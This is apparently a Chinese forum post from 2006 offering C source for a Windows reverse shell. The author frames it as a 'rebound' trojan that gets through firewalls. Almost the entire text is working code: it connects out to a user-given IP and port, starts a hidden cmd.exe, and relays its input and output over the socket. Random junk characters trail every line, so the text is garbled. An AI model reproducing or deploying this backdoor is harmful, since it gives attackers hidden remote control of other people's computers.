这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (~F}O
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/* ============================== .Q@]+&`|}i
Rebound port in Windows NT F>[^m Xw
By wind,2006/7 9aIv|cS?
===============================*/ Q($@{[lT
#include \ E5kpm
#include ErsJWp
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#pragma comment(lib,"wsock32.lib") |rhB@k
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void OutputShell(); &,l7w K
SOCKET sClient; )M[FPJP}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3w[uc ~f
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void main(int argc,char **argv) &lzCRRnvt
{ wxvVtV{u>|
WSADATA stWsaData; ]PL\;[b>
int nRet; U%VFr#
SOCKADDR_IN stSaiClient,stSaiServer; ab)ckRC
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if(argc != 3) I7'v;*
{ KqaEHL
printf("Useage:\n\rRebound DestIP DestPort\n"); K@osD7-
return; AtAu$"ue
} 6*>vie
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?=kH}'igq
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?G&J_L=@Y
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stSaiClient.sin_family = AF_INET; J]48th0,
stSaiClient.sin_port = htons(0); fG.6S"|M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +>a(9r|:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V!+<
{ fbah~[5}
printf("Bind Socket Failed!\n"); s6 K~I
return; v Oo^H
} %^"i\-*|S
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stSaiServer.sin_family = AF_INET; kqC7^x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2U+Fat@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'q8:1i9\[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Nlc3S+$`z
{ =G'J@[d{d
printf("Connect Error!"); 1mfB6p1Z(
return; "zFTPL"
} y{tM|
OutputShell(); ,|UwZ_.
} &oK&vgcj
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void OutputShell() $O\]cQD`u
{ N#:W#C{16w
char szBuff[1024]; sN1I+X
SECURITY_ATTRIBUTES stSecurityAttributes; poi39B/Vt
OSVERSIONINFO stOsversionInfo; Ipow
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \C1`F[d_
STARTUPINFO stStartupInfo; V`feUFw3
char *szShell; a'my0m
PROCESS_INFORMATION stProcessInformation; OG7U+d6
unsigned long lBytesRead; v}^uN+a5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "!Hm.^1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8 }Maj
stSecurityAttributes.lpSecurityDescriptor = 0; np7!y
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stSecurityAttributes.bInheritHandle = TRUE; OF!n}.O(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~}K$z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >lO]/3j1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f2Tz5slE
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I[LHJ4
stStartupInfo.wShowWindow = SW_HIDE; dW|S\S'&
stStartupInfo.hStdInput = hReadPipe; 5 ^tetDz}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H|;BT
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GetVersionEx(&stOsversionInfo); jrYA5>=>#
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switch(stOsversionInfo.dwPlatformId) xw1n;IO4
{ U,~Z 2L
case 1: 0'` #I
szShell = "command.com"; nh"LdHqiDB
break; %#lJn.o
default: F
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szShell = "cmd.exe"; il:RE8
break; vH?3UW
} YJ 01-
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?NUDHUn_
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send(sClient,szMsg,77,0); 5jc y*G}[
while(1) Aq &H-g]s
{ jsw0"d(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >t $^U
if(lBytesRead) qI1JM =
{ lXrAsm$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sYyya:ykxT
send(sClient,szBuff,lBytesRead,0); *U|2u+| F
} <%LN3T
else I h 19&D
{ t^<ki?*
lBytesRead=recv(sClient,szBuff,1024,0); Q\Nz^~dQ:Y
if(lBytesRead<=0) break; J|WkPv2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #)<WQZ)
} f9b[0L
} 9%bqY9NFd
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return; _/a8X:[(
}